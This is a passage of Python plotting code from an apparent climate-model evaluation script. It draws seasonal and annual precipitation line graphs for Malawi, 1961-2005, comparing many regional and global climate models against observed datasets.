NOAADJF_mean, label='RCA4_GFDL-ESM2M', lw=1.5, color='red', linestyle=':') \r\n    plt.plot(X, ObsDJFY, label='Observed', lw=3, color='black')\r\n    plt.plot(X, AverageDJFRY, label='Average RCM', lw=3, color='grey')\r\n            \r\n    #set a title for the y axis\r\n    plt.ylabel('Precipitation Rate (mm per year)')\r\n    \r\n    #create a legend and set its location to under the graph\r\n    plt.legend(loc=\"upper center\", bbox_to_anchor=(0.5,-0.05), fancybox=True, shadow=True, ncol=2)\r\n    \r\n    #create a title\r\n    plt.title('Pr for Malawi DJF 1961-2005', fontsize=11)   \r\n    \r\n    #add grid lines\r\n    plt.grid()\r\n    \r\n    #save the image of the graph and include full legend\r\n    plt.savefig('Pr_RCM_LineGraph_DJF', bbox_inches='tight')\r\n\r\n    #show the graph in the console\r\n    iplt.show() \r\n    \r\n    #limit x axis    \r\n    plt.xlim((1961,2005)) \r\n    \r\n    #assign the line colours and set x axis to 'year' rather than 'time'\r\n    plt.plot(X,CRUMAM_mean.data, lw=1, color='grey')   \r\n    plt.plot(X,UDelMAM_mean.data, lw=1, color='grey')\r\n    plt.plot(X,GPCCMAM_mean.data, lw=1, color='grey') \r\n    plt.fill_between(X,CRUMAM_mean.data,UDelMAM_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(X,CRUMAM_mean.data,GPCCMAM_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(X,GPCCMAM_mean.data,UDelMAM_mean.data, color='grey', alpha='0.5')\r\n    qplt.plot(CCCmaCanRCMMAM_mean.coord('year'), CCCmaCanRCMMAM_mean, label='CanRCM4_CanESM2', lw=1.5, color='blue')\r\n    qplt.plot(CCCmaSMHIMAM_mean.coord('year'), CCCmaSMHIMAM_mean, label='RCA4_CanESM2', lw=1.5, color='green')\r\n    qplt.plot(CNRMMAM_mean.coord('year'), CNRMMAM_mean, label='CCLM4-8-17_CNRM-CM5', lw=1.5, color='red')\r\n    qplt.plot(CNRMSMHIMAM_mean.coord('year'), CNRMSMHIMAM_mean, label='RCA4_CNRM-CM5', lw=1.5, color='cyan')\r\n    qplt.plot(CSIROMAM_mean.coord('year'), CSIROMAM_mean, label='RCA4_CSIRO-MK3', lw=1.5, color='magenta')\r\n    qplt.plot(ICHECDMIMAM_mean.coord('year'), ICHECDMIMAM_mean, label='HIRHAM5_EC-EARTH', lw=1.5, color='yellow')\r\n    qplt.plot(ICHECCCLMMAM_mean.coord('year'), ICHECCCLMMAM_mean, label='CCLM4-8-17_EC-EARTH ', lw=1.5, color='blue', linestyle='--')\r\n    qplt.plot(ICHECKNMIMAM_mean.coord('year'), ICHECKNMIMAM_mean, label='RACMO22T_EC-EARTH', lw=1.5, color='green', linestyle='--')\r\n    qplt.plot(ICHECMPIMAM_mean.coord('year'), ICHECMPIMAM_mean, label='REMO2009_EC-EARTH ', lw=1.5, color='red', linestyle='--') \r\n    qplt.plot(ICHECSMHIMAM_mean.coord('year'), ICHECSMHIMAM_mean, label='RCA4_EC-EARTH', lw=1.5, color='cyan', linestyle='--') \r\n    qplt.plot(IPSLMAM_mean.coord('year'), IPSLMAM_mean, label='RCA4_IPSL-CM5A-MR', lw=1.5, color='magenta', linestyle='--') \r\n    qplt.plot(MIROCMAM_mean.coord('year'), MIROCMAM_mean, label='RCA4_MIROC5', lw=1.5, color='yellow', linestyle='--')\r\n    qplt.plot(MOHCCCLMMAM_mean.coord('year'), MOHCCCLMMAM_mean, label='CCLM4-8-17_HadGEM2-ES', lw=1.5, color='blue', linestyle='-.')\r\n    qplt.plot(MOHCKNMIMAM_mean.coord('year'), MOHCKNMIMAM_mean, label='RACMO22T_HadGEM2-ES', lw=1.5, color='green', linestyle='-.')\r\n    qplt.plot(MOHCSMHIMAM_mean.coord('year'), MOHCSMHIMAM_mean, label='RCA4_HadGEM2-ES', lw=1.5, color='red', linestyle='-.')\r\n    qplt.plot(MPICCLMMAM_mean.coord('year'), MPICCLMMAM_mean, label='CCLM4-8-17_MPI-ESM-LR', lw=1.5, color='cyan', linestyle='-.')\r\n    qplt.plot(MPIREMOMAM_mean.coord('year'), MPIREMOMAM_mean, label='REMO2009_MPI-ESM-LR ', lw=1.5, color='magenta', linestyle='-.')\r\n    qplt.plot(MPISMHIMAM_mean.coord('year'), MPISMHIMAM_mean, label='RCA4_MPI-ESM-LR ', lw=1.5, color='yellow', linestyle='-.')\r\n    qplt.plot(NCCDMIMAM_mean.coord('year'), NCCDMIMAM_mean, label='HIRHAM5_NorESM1-M', lw=1.5, color='blue', linestyle=':')\r\n    qplt.plot(NCCSMHIMAM_mean.coord('year'), NCCSMHIMAM_mean, label='RCA4_NorESM1-M', lw=1.5, color='green', linestyle=':')\r\n    qplt.plot(NOAAMAM_mean.coord('year'), NOAAMAM_mean, label='RCA4_GFDL-ESM2M', lw=1.5, color='red', linestyle=':') \r\n    plt.plot(X, ObsMAMY, label='Observed', lw=3, color='black')\r\n    plt.plot(X, AverageMAMRY, label='Average RCM', lw=3, color='grey')\r\n            \r\n    #set a title for the y axis\r\n    plt.ylabel('Precipitation Rate (mm per year)')\r\n    \r\n    #create a legend and set its location to under the graph\r\n    plt.legend(loc=\"upper center\", bbox_to_anchor=(0.5,-0.05), fancybox=True, shadow=True, ncol=2)\r\n    \r\n    #create a title\r\n    plt.title('Pr for Malawi MAM 1961-2005', fontsize=11)   \r\n    \r\n    #add grid lines\r\n    plt.grid()\r\n    \r\n    #save the image of the graph and include full legend\r\n    plt.savefig('Pr_RCM_LineGraph_MAM', bbox_inches='tight')\r\n\r\n    #show the graph in the console\r\n    iplt.show()\r\n   \r\n    #limit x axis    \r\n    plt.xlim((1961,2005)) \r\n    \r\n    #assign the line colours and set x axis to 'year' rather than 'time'\r\n    plt.plot(X,CRUJJA_mean.data, lw=1, color='grey')   \r\n    plt.plot(X,UDelJJA_mean.data, lw=1, color='grey')\r\n    plt.plot(X,GPCCJJA_mean.data, lw=1, color='grey') \r\n    plt.fill_between(X,CRUJJA_mean.data,UDelJJA_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(X,CRUJJA_mean.data,GPCCJJA_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(X,GPCCJJA_mean.data,UDelJJA_mean.data, color='grey', alpha='0.5')\r\n    qplt.plot(CCCmaCanRCMJJA_mean.coord('year'), CCCmaCanRCMJJA_mean, label='CanRCM4_CanESM2', lw=1.5, color='blue')\r\n    qplt.plot(CCCmaSMHIJJA_mean.coord('year'), CCCmaSMHIJJA_mean, label='RCA4_CanESM2', lw=1.5, color='green')\r\n    qplt.plot(CNRMJJA_mean.coord('year'), CNRMJJA_mean, label='CCLM4-8-17_CNRM-CM5', lw=1.5, color='red')\r\n    qplt.plot(CNRMSMHIJJA_mean.coord('year'), CNRMSMHIJJA_mean, label='RCA4_CNRM-CM5', lw=1.5, color='cyan')\r\n    qplt.plot(CSIROJJA_mean.coord('year'), CSIROJJA_mean, label='RCA4_CSIRO-MK3', lw=1.5, color='magenta')\r\n    qplt.plot(ICHECDMIJJA_mean.coord('year'), ICHECDMIJJA_mean, label='HIRHAM5_EC-EARTH', lw=1.5, color='yellow')\r\n    qplt.plot(ICHECCCLMJJA_mean.coord('year'), ICHECCCLMJJA_mean, label='CCLM4-8-17_EC-EARTH ', lw=1.5, color='blue', linestyle='--')\r\n    qplt.plot(ICHECKNMIJJA_mean.coord('year'), ICHECKNMIJJA_mean, label='RACMO22T_EC-EARTH', lw=1.5, color='green', linestyle='--')\r\n    qplt.plot(ICHECMPIJJA_mean.coord('year'), ICHECMPIJJA_mean, label='REMO2009_EC-EARTH ', lw=1.5, color='red', linestyle='--') \r\n    qplt.plot(ICHECSMHIJJA_mean.coord('year'), ICHECSMHIJJA_mean, label='RCA4_EC-EARTH', lw=1.5, color='cyan', linestyle='--') \r\n    qplt.plot(IPSLJJA_mean.coord('year'), IPSLJJA_mean, label='RCA4_IPSL-CM5A-MR', lw=1.5, color='magenta', linestyle='--') \r\n    qplt.plot(MIROCJJA_mean.coord('year'), MIROCJJA_mean, label='RCA4_MIROC5', lw=1.5, color='yellow', linestyle='--')\r\n    qplt.plot(MOHCCCLMJJA_mean.coord('year'), MOHCCCLMJJA_mean, label='CCLM4-8-17_HadGEM2-ES', lw=1.5, color='blue', linestyle='-.')\r\n    qplt.plot(MOHCKNMIJJA_mean.coord('year'), MOHCKNMIJJA_mean, label='RACMO22T_HadGEM2-ES', lw=1.5, color='green', linestyle='-.')\r\n    qplt.plot(MOHCSMHIJJA_mean.coord('year'), MOHCSMHIJJA_mean, label='RCA4_HadGEM2-ES', lw=1.5, color='red', linestyle='-.')\r\n    qplt.plot(MPICCLMJJA_mean.coord('year'), MPICCLMJJA_mean, label='CCLM4-8-17_MPI-ESM-LR', lw=1.5, color='cyan', linestyle='-.')\r\n    qplt.plot(MPIREMOJJA_mean.coord('year'), MPIREMOJJA_mean, label='REMO2009_MPI-ESM-LR ', lw=1.5, color='magenta', linestyle='-.')\r\n    qplt.plot(MPISMHIJJA_mean.coord('year'), MPISMHIJJA_mean, label='RCA4_MPI-ESM-LR ', lw=1.5, color='yellow', linestyle='-.')\r\n    qplt.plot(NCCDMIJJA_mean.coord('year'), NCCDMIJJA_mean, label='HIRHAM5_NorESM1-M', lw=1.5, color='blue', linestyle=':')\r\n    qplt.plot(NCCSMHIJJA_mean.coord('year'), NCCSMHIJJA_mean, label='RCA4_NorESM1-M', lw=1.5, color='green', linestyle=':')\r\n    qplt.plot(NOAAJJA_mean.coord('year'), NOAAJJA_mean, label='RCA4_GFDL-ESM2M', lw=1.5, color='red', linestyle=':') \r\n    plt.plot(X, ObsJJAY, label='Observed', lw=3, color='black')\r\n    plt.plot(X, AverageJJARY, label='Average RCM', lw=3, color='grey')\r\n            \r\n    #set a title for the y axis\r\n    plt.ylabel('Precipitation Rate (mm per year)')\r\n    \r\n    #create a legend and set its location to under the graph\r\n    plt.legend(loc=\"upper center\", bbox_to_anchor=(0.5,-0.05), fancybox=True, shadow=True, ncol=2)\r\n    \r\n    #create a title\r\n    plt.title('Pr for Malawi JJA 1961-2005', fontsize=11)   \r\n    \r\n    #add grid lines\r\n    plt.grid()\r\n    \r\n    #save the image of the graph and include full legend\r\n    plt.savefig('Pr_RCM_LineGraph_JJA', bbox_inches='tight')\r\n\r\n    #show the graph in the console\r\n    iplt.show()\r\n    \r\n    #limit x axis    \r\n    plt.xlim((1961,2005)) \r\n    \r\n    #assign the line colours and set x axis to 'year' rather than 'time'\r\n    plt.plot(X,CRUYR_mean.data, lw=1, color='grey')   \r\n    plt.plot(X,UDelYR_mean.data, lw=1, color='grey')\r\n    plt.plot(X,GPCCYR_mean.data, lw=1, color='grey') \r\n    plt.fill_between(X,CRUYR_mean.data,UDelYR_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(X,CRUYR_mean.data,GPCCYR_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(X,GPCCYR_mean.data,UDelYR_mean.data, color='grey', alpha='0.5')\r\n    qplt.plot(CCCmaCanRCMYR_mean.coord('year'), CCCmaCanRCMYR_mean, label='CanRCM4_CanESM2', lw=1.5, color='blue')\r\n    qplt.plot(CCCmaSMHIYR_mean.coord('year'), CCCmaSMHIYR_mean, label='RCA4_CanESM2', lw=1.5, color='green')\r\n    qplt.plot(CNRMYR_mean.coord('year'), CNRMYR_mean, label='CCLM4-8-17_CNRM-CM5', lw=1.5, color='red')\r\n    qplt.plot(CNRMSMHIYR_mean.coord('year'), CNRMSMHIYR_mean, label='RCA4_CNRM-CM5', lw=1.5, color='cyan')\r\n    qplt.plot(CSIROYR_mean.coord('year'), CSIROYR_mean, label='RCA4_CSIRO-MK3', lw=1.5, color='magenta')\r\n    qplt.plot(ICHECDMIYR_mean.coord('year'), ICHECDMIYR_mean, label='HIRHAM5_EC-EARTH', lw=1.5, color='yellow')\r\n    qplt.plot(ICHECCCLMYR_mean.coord('year'), ICHECCCLMYR_mean, label='CCLM4-8-17_EC-EARTH ', lw=1.5, color='blue', linestyle='--')\r\n    qplt.plot(ICHECKNMIYR_mean.coord('year'), ICHECKNMIYR_mean, label='RACMO22T_EC-EARTH', lw=1.5, color='green', linestyle='--')\r\n    qplt.plot(ICHECMPIYR_mean.coord('year'), ICHECMPIYR_mean, label='REMO2009_EC-EARTH ', lw=1.5, color='red', linestyle='--') \r\n    qplt.plot(ICHECSMHIYR_mean.coord('year'), ICHECSMHIYR_mean, label='RCA4_EC-EARTH', lw=1.5, color='cyan', linestyle='--') \r\n    qplt.plot(IPSLYR_mean.coord('year'), IPSLYR_mean, label='RCA4_IPSL-CM5A-MR', lw=1.5, color='magenta', linestyle='--') \r\n    qplt.plot(MIROCYR_mean.coord('year'), MIROCYR_mean, label='RCA4_MIROC5', lw=1.5, color='yellow', linestyle='--')\r\n    qplt.plot(MOHCCCLMYR_mean.coord('year'), MOHCCCLMYR_mean, label='CCLM4-8-17_HadGEM2-ES', lw=1.5, color='blue', linestyle='-.')\r\n    qplt.plot(MOHCKNMIYR_mean.coord('year'), MOHCKNMIYR_mean, label='RACMO22T_HadGEM2-ES', lw=1.5, color='green', linestyle='-.')\r\n    qplt.plot(MOHCSMHIYR_mean.coord('year'), MOHCSMHIYR_mean, label='RCA4_HadGEM2-ES', lw=1.5, color='red', linestyle='-.')\r\n    qplt.plot(MPICCLMYR_mean.coord('year'), MPICCLMYR_mean, label='CCLM4-8-17_MPI-ESM-LR', lw=1.5, color='cyan', linestyle='-.')\r\n    qplt.plot(MPIREMOYR_mean.coord('year'), MPIREMOYR_mean, label='REMO2009_MPI-ESM-LR ', lw=1.5, color='magenta', linestyle='-.')\r\n    qplt.plot(MPISMHIYR_mean.coord('year'), MPISMHIYR_mean, label='RCA4_MPI-ESM-LR ', lw=1.5, color='yellow', linestyle='-.')\r\n    qplt.plot(NCCDMIYR_mean.coord('year'), NCCDMIYR_mean, label='HIRHAM5_NorESM1-M', lw=1.5, color='blue', linestyle=':')\r\n    qplt.plot(NCCSMHIYR_mean.coord('year'), NCCSMHIYR_mean, label='RCA4_NorESM1-M', lw=1.5, color='green', linestyle=':')\r\n    qplt.plot(NOAAYR_mean.coord('year'), NOAAYR_mean, label='RCA4_GFDL-ESM2M', lw=1.5, color='red', linestyle=':') \r\n    plt.plot(X, ObsY, label='Observed', lw=3, color='black')\r\n    plt.plot(X, AverageRY, label='Average RCM', lw=3, color='grey')\r\n            \r\n    #set a title for the y axis\r\n    plt.ylabel('Precipitation Rate (mm per year)')\r\n    \r\n    #create a legend and set its location to under the graph\r\n    plt.legend(loc=\"upper center\", bbox_to_anchor=(0.5,-0.05), fancybox=True, shadow=True, ncol=2)\r\n    \r\n    #create a title\r\n    plt.title('Pr for Malawi 1961-2005', fontsize=11)   \r\n    \r\n    #add grid lines\r\n    plt.grid()\r\n    \r\n    #save the image of the graph and include full legend\r\n    plt.savefig('Pr_RCM_LineGraph_Annual', bbox_inches='tight')\r\n\r\n    #show the graph in the console\r\n    iplt.show()\r\n    \r\n    #PART 4C: Global Climate Models Line Graph\r\n    #limit x axis    \r\n    plt.xlim((1961,2005)) \r\n    \r\n    #assign the line colours and set x axis to 'year' rather than 'time'\r\n    plt.plot(X,CRUSON_mean.data, lw=1, color='grey')   \r\n    plt.plot(X,UDelSON_mean.data, lw=1, color='grey')\r\n    plt.plot(X,GPCCSON_mean.data, lw=1, color='grey') \r\n    plt.fill_between(X,CRUSON_mean.data,UDelSON_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(X,CRUSON_mean.data,GPCCSON_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(X,GPCCSON_mean.data,UDelSON_mean.data, color='grey', alpha='0.5')\r\n    qplt.plot(CanESM2SON_mean.coord('year'), CanESM2SON_mean, label='CanESM2', lw=1.5, color='blue')\r\n    qplt.plot(CNRMGSON_mean.coord('year'), CNRMGSON_mean, label='CNRM_CM5', lw=1.5, color='green')\r\n    qplt.plot(MK3SON_mean.coord('year'), MK3SON_mean, label='CSIRO MK3-6-0', lw=1.5, color='red')\r\n    qplt.plot(EARTHSON_mean.coord('year'), EARTHSON_mean, label='EC-EARTH (r12i1p1)', lw=1.5, color='cyan')\r\n    qplt.plot(EARTH3SON_mean.coord('year'), EARTH3SON_mean, label='EC-EARTH (r3i1p1', lw=1.5, color='magenta')\r\n    qplt.plot(GFDLSON_mean.coord('year'), GFDLSON_mean, label='GFDL-ESM2M', lw=1.5, color='yellow')\r\n    qplt.plot(HadGEM2SON_mean.coord('year'), HadGEM2SON_mean, label='HadGEM2-ES', lw=1.5, color='blue', linestyle='--')\r\n    qplt.plot(IPSLGSON_mean.coord('year'), IPSLGSON_mean, label='IPSL-CM5A-MR', lw=1.5, color='green', linestyle='--')\r\n    qplt.plot(MIROCGSON_mean.coord('year'), MIROCGSON_mean, label='MIROC5 ', lw=1.5, color='red', linestyle='--')\r\n    qplt.plot(MPISON_mean.coord('year'), MPISON_mean, label='MPI-ESM-LR', lw=1.5, color='cyan', linestyle='--')\r\n    qplt.plot(NorESM1SON_mean.coord('year'), NorESM1SON_mean, label='NorESM1-M', lw=1.5, color='magenta', linestyle='--')\r\n    plt.plot(X, ObsSONY, label='Observed', lw=3, color='black')\r\n    plt.plot(X, AverageSONGY, label='Average GCM', lw=3, color='grey')\r\n    \r\n    #set a title for the y axis\r\n    plt.ylabel('Precipitation Rate (mm per year)')\r\n    \r\n    #create a legend and set its location to under the graph\r\n    plt.legend(loc=\"upper center\", bbox_to_anchor=(0.5,-0.05), fancybox=True, shadow=True, ncol=2)\r\n    \r\n    #create a title\r\n    plt.title('Pr for Malawi SON 1961-2005', fontsize=11)   \r\n    \r\n    #add grid lines\r\n    plt.grid()\r\n    \r\n    #save the image of the graph and include full legend\r\n    plt.savefig('Pr_GCM_LineGraph_SON', bbox_inches='tight')\r\n\r\n    #show the graph in the console\r\n    iplt.show() \r\n    \r\n    #limit x axis    \r\n    plt.xlim((1961,2005)) \r\n    \r\n    #assign the line colours and set x axis to 'year' rather than 'time'\r\n    plt.plot(X,CRUDJF_mean.data, lw=1, color='grey')   \r\n    plt.plot(X,UDelDJF_mean.data, lw=1, color='grey')\r\n    plt.plot(X,GPCCDJF_mean.data, lw=1, color='grey') \r\n    plt.fill_between(X,CRUDJF_mean.data,UDelDJF_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(X,CRUDJF_mean.data,GPCCDJF_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(X,GPCCDJF_mean.data,UDelDJF_mean.data, color='grey', alpha='0.5')\r\n    qplt.plot(CanESM2DJF_mean.coord('year'), CanESM2DJF_mean, label='CanESM2', lw=1.5, color='blue')\r\n    qplt.plot(CNRMGDJF_mean.coord('year'), CNRMGDJF_mean, label='CNRM_CM5', lw=1.5, color='green')\r\n    qplt.plot(MK3DJF_mean.coord('year'), MK3DJF_mean, label='CSIRO MK3-6-0', lw=1.5, color='red')\r\n    qplt.plot(EARTHDJF_mean.coord('year'), EARTHDJF_mean, label='EC-EARTH (r12i1p1)', lw=1.5, color='cyan')\r\n    qplt.plot(EARTH3DJF_mean.coord('year'), EARTH3DJF_mean, label='EC-EARTH (r3i1p1', lw=1.5, color='magenta')\r\n    qplt.plot(GFDLDJF_mean.coord('year'), GFDLDJF_mean, label='GFDL-ESM2M', lw=1.5, color='yellow')\r\n    qplt.plot(HadGEM2DJF_mean.coord('year'), HadGEM2DJF_mean, label='HadGEM2-ES', lw=1.5, color='blue', linestyle='--')\r\n    qplt.plot(IPSLGDJF_mean.coord('year'), IPSLGDJF_mean, label='IPSL-CM5A-MR', lw=1.5, color='green', linestyle='--')\r\n    qplt.plot(MIROCGDJF_mean.coord('year'), MIROCGDJF_mean, label='MIROC5 ', lw=1.5, color='red', linestyle='--')\r\n    qplt.plot(MPIDJF_mean.coord('year'), MPIDJF_mean, label='MPI-ESM-LR', lw=1.5, color='cyan', linestyle='--')\r\n    qplt.plot(NorESM1DJF_mean.coord('year'), NorESM1DJF_mean, label='NorESM1-M', lw=1.5, color='magenta', linestyle='--')\r\n    plt.plot(X, ObsDJFY, label='Observed', lw=3, color='black')\r\n    plt.plot(X, AverageDJFGY, label='Average GCM', lw=3, color='grey')\r\n    \r\n    #set a title for the y axis\r\n    plt.ylabel('Precipitation Rate (mm per year)')\r\n    \r\n    #create a legend and set its location to under the graph\r\n    plt.legend(loc=\"upper center\", bbox_to_anchor=(0.5,-0.05), fancybox=True, shadow=True, ncol=2)\r\n    \r\n    #create a title\r\n    plt.title('Pr for Malawi DJF 1961-2005', fontsize=11)   \r\n    \r\n    #add grid lines\r\n    plt.grid()\r\n    \r\n    #save the image of the graph and include full legend\r\n    plt.savefig('Pr_GCM_LineGraph_DJF', bbox_inches='tight')\r\n\r\n    #show the graph in the console\r\n    iplt.show() \r\n    \r\n    #limit x axis    \r\n    plt.xlim((1961,2005)) \r\n    \r\n    #assign the line colours and set x axis to 'year' rather than 'time'\r\n    plt.plot(X,CRUMAM_mean.data, lw=1, color='grey')   \r\n    plt.plot(X,UDelMAM_mean.data, lw=1, color='grey')\r\n    plt.plot(X,GPCCMAM_mean.data, lw=1, color='grey') \r\n    plt.fill_between(X,CRUMAM_mean.data,UDelMAM_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(X,CRUMAM_mean.data,GPCCMAM_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(X,GPCCMAM_mean.data,UDelMAM_mean.data, color='grey', alpha='0.5')\r\n    qplt.plot(CanESM2MAM_mean.coord('year'), CanESM2MAM_mean, label='CanESM2', lw=1.5, color='blue')\r\n    qplt.plot(CNRMGMAM_mean.coord('year'), CNRMGMAM_mean, label='CNRM_CM5', lw=1.5, color='green')\r\n    qplt.plot(MK3MAM_mean.coord('year'), MK3MAM_mean, label='CSIRO MK3-6-0', lw=1.5, color='red')\r\n    qplt.plot(EARTHMAM_mean.coord('year'), EARTHMAM_mean, label='EC-EARTH (r12i1p1)', lw=1.5, color='cyan')\r\n    qplt.plot(EARTH3MAM_mean.coord('year'), EARTH3MAM_mean, label='EC-EARTH (r3i1p1', lw=1.5, color='magenta')\r\n    qplt.plot(GFDLMAM_mean.coord('year'), GFDLMAM_mean, label='GFDL-ESM2M', lw=1.5, color='yellow')\r\n    qplt.plot(HadGEM2MAM_mean.coord('year'), HadGEM2MAM_mean, label='HadGEM2-ES', lw=1.5, color='blue', linestyle='--')\r\n    qplt.plot(IPSLGMAM_mean.coord('year'), IPSLGMAM_mean, label='IPSL-CM5A-MR', lw=1.5, color='green', linestyle='--')\r\n    qplt.plot(MIROCGMAM_mean.coord('year'), MIROCGMAM_mean, label='MIROC5 ', lw=1.5, color='red', linestyle='--')\r\n    qplt.plot(MPIMAM_mean.coord('year'), MPIMAM_mean, label='MPI-ESM-LR', lw=1.5, color='cyan', linestyle='--')\r\n    qplt.plot(NorESM1MAM_mean.coord('year'), NorESM1MAM_mean, label='NorESM1-M', lw=1.5, color='magenta', linestyle='--')\r\n    plt.plot(X, ObsMAMY, label='Observed', lw=3, color='black')\r\n    plt.plot(X, AverageMAMGY, label='Average GCM', lw=3, color='grey')\r\n    \r\n    #set a title for the y axis\r\n    plt.ylabel('Precipitation Rate (mm per year)')\r\n    \r\n    #create a legend and set its location to under the graph\r\n    plt.legend(loc=\"upper center\", bbox_to_anchor=(0.5,-0.05), fancybox=True, shadow=True, ncol=2)\r\n    \r\n    #create a title\r\n    plt.title('Pr for Malawi MAM 1961-2005', fontsize=11)   \r\n    \r\n    #add grid lines\r\n    plt.grid()\r\n    \r\n    #save the image of the graph and include full legend\r\n    plt.savefig('Pr_GCM_LineGraph_MAM', bbox_inches='tight')\r\n\r\n    #show the graph in the console\r\n    iplt.show()\r\n   \r\n    #limit x axis    \r\n    plt.xlim((1961,2005)) \r\n    \r\n    #assign the line colours and set x axis to 'year' rather than 'time'\r\n    plt.plot(X,CRUJJA_mean.data, lw=1, color='grey')   \r\n    plt.plot(X,UDelJJA_mean.data, lw=1, color='grey')\r\n    plt.plot(X,GPCCJJA_mean.data, lw=1, color='grey') \r\n    plt.fill_between(X,CRUJJA_mean.data,UDelJJA_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(X,CRUJJA_mean.data,GPCCJJA_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(X,GPCCJJA_mean.data,UDelJJA_mean.data, color='grey', alpha='0.5')\r\n    qplt.plot(CanESM2JJA_mean.coord('year'), CanESM2JJA_mean, label='CanESM2', lw=1.5, color='blue')\r\n    qplt.plot(CNRMGJJA_mean.coord('year'), CNRMGJJA_mean, label='CNRM_CM5', lw=1.5, color='green')\r\n    qplt.plot(MK3JJA_mean.coord('year'), MK3JJA_mean, label='CSIRO MK3-6-0', lw=1.5, color='red')\r\n    qplt.plot(EARTHJJA_mean.coord('year'), EARTHJJA_mean, label='EC-EARTH (r12i1p1)', lw=1.5, color='cyan')\r\n    qplt.plot(EARTH3JJA_mean.coord('year'), EARTH3JJA_mean, label='EC-EARTH (r3i1p1', lw=1.5, color='magenta')\r\n    qplt.plot(GFDLJJA_mean.coord('year'), GFDLJJA_mean, label='GFDL-ESM2M', lw=1.5, color='yellow')\r\n    qplt.plot(HadGEM2JJA_mean.coord('year'), HadGEM2JJA_mean, label='HadGEM2-ES', lw=1.5, color='blue', linestyle='--')\r\n    qplt.plot(IPSLGJJA_mean.coord('year'), IPSLGJJA_mean, label='IPSL-CM5A-MR', lw=1.5, color='green', linestyle='--')\r\n    qplt.plot(MIROCGJJA_mean.coord('year'), MIROCGJJA_mean, label='MIROC5 ', lw=1.5, color='red', linestyle='--')\r\n    qplt.plot(MPIJJA_mean.coord('year'), MPIJJA_mean, label='MPI-ESM-LR', lw=1.5, color='cyan', linestyle='--')\r\n    qplt.plot(NorESM1JJA_mean.coord('year'), NorESM1JJA_mean, label='NorESM1-M', lw=1.5, color='magenta', linestyle='--') \r\n    plt.plot(X, ObsJJAY, label='Observed', lw=3, color='black')\r\n    plt.plot(X, AverageJJAGY, label='Average GCM', lw=3, color='grey')\r\n    \r\n    #set a title for the y axis\r\n    plt.ylabel('Precipitation Rate (mm per year)')\r\n    \r\n    #create a legend and set its location to under the graph\r\n    plt.legend(loc=\"upper center\", bbox_to_anchor=(0.5,-0.05), fancybox=True, shadow=True, ncol=2)\r\n    \r\n    #create a title\r\n    plt.title('Pr for Malawi JJA 1961-2005', fontsize=11)   \r\n    \r\n    #add grid lines\r\n    plt.grid()\r\n    \r\n    #save the image of the graph and include full legend\r\n    plt.savefig('Pr_GCM_LineGraph_JJA', bbox_inches='tight')\r\n\r\n    #show the graph in the console\r\n    iplt.show()\r\n    \r\n    #limit x axis    \r\n    plt.xlim((1961,2005)) \r\n    \r\n    #assign the line colours and set x axis to 'year' rather than 'time'\r\n    plt.plot(X,CRUYR_mean.data, lw=1, color='grey')   \r\n    plt.plot(X,UDelYR_mean.data, lw=1, color='grey')\r\n    plt.plot(X,GPCCYR_mean.data, lw=1, color='grey') \r\n    plt.fill_between(X,CRUYR_mean.data,UDelYR_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(X,CRUYR_mean.data,GPCCYR_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(X,GPCCYR_mean.data,UDelYR_mean.data, color='grey', alpha='0.5')\r\n    qplt.plot(CanESM2YR_mean.coord('year'), CanESM2YR_mean, label='CanESM2', lw=1.5, color='blue')\r\n    qplt.plot(CNRMGYR_mean.coord('year'), CNRMGYR_mean, label='CNRM_CM5', lw=1.5, color='green')\r\n    qplt.plot(MK3YR_mean.coord('year'), MK3YR_mean, label='CSIRO MK3-6-0', lw=1.5, color='red')\r\n    qplt.plot(EARTHYR_mean.coord('year'), EARTHYR_mean, label='EC-EARTH (r12i1p1)', lw=1.5, color='cyan')\r\n    qplt.plot(EARTH3YR_mean.coord('year'), EARTH3YR_mean, label='EC-EARTH (r3i1p1', lw=1.5, color='magenta')\r\n    qplt.plot(GFDLYR_mean.coord('year'), GFDLYR_mean, label='GFDL-ESM2M', lw=1.5, color='yellow')\r\n    qplt.plot(HadGEM2YR_mean.coord('year'), HadGEM2YR_mean, label='HadGEM2-ES', lw=1.5, color='blue', linestyle='--')\r\n    qplt.plot(IPSLGYR_mean.coord('year'), IPSLGYR_mean, label='IPSL-CM5A-MR', lw=1.5, color='green', linestyle='--')\r\n    qplt.plot(MIROCGYR_mean.coord('year'), MIROCGYR_mean, label='MIROC5 ', lw=1.5, color='red', linestyle='--')\r\n    qplt.plot(MPIYR_mean.coord('year'), MPIYR_mean, label='MPI-ESM-LR', lw=1.5, color='cyan', linestyle='--')\r\n    qplt.plot(NorESM1YR_mean.coord('year'), NorESM1YR_mean, label='NorESM1-M', lw=1.5, color='magenta', linestyle='--')\r\n    plt.plot(X, ObsY, label='Observed', lw=3, color='black')\r\n    plt.plot(X, AverageGY, label='Average GCM', lw=3, color='grey')\r\n    \r\n    #set a title for the y axis\r\n    plt.ylabel('Precipitation Rate (mm per year)')\r\n    \r\n    #create a legend and set its location to under the graph\r\n    plt.legend(loc=\"upper center\", bbox_to_anchor=(0.5,-0.05), fancybox=True, shadow=True, ncol=2)\r\n    \r\n    #create a title\r\n    plt.title('Pr for Malawi 1961-2005', fontsize=11)   \r\n    \r\n    #add grid lines\r\n    plt.grid()\r\n    \r\n    #save the image of the graph and include full legend\r\n    plt.savefig('Pr_GCM_LineGraph_Annual', bbox_inches='tight')\r\n\r\n    #show the graph in the console\r\n    iplt.show()\r\n    \r\n    #PART D: Average RCM and GCM Line Graph\r\n    #limit x axis    \r\n    plt.xlim((1961,2005)) \r\n    \r\n    #assign the line colours and set x axis to 'year' rather than 'time'\r\n    plt.plot(X,CRUSON_mean.data, lw=1, color='grey')   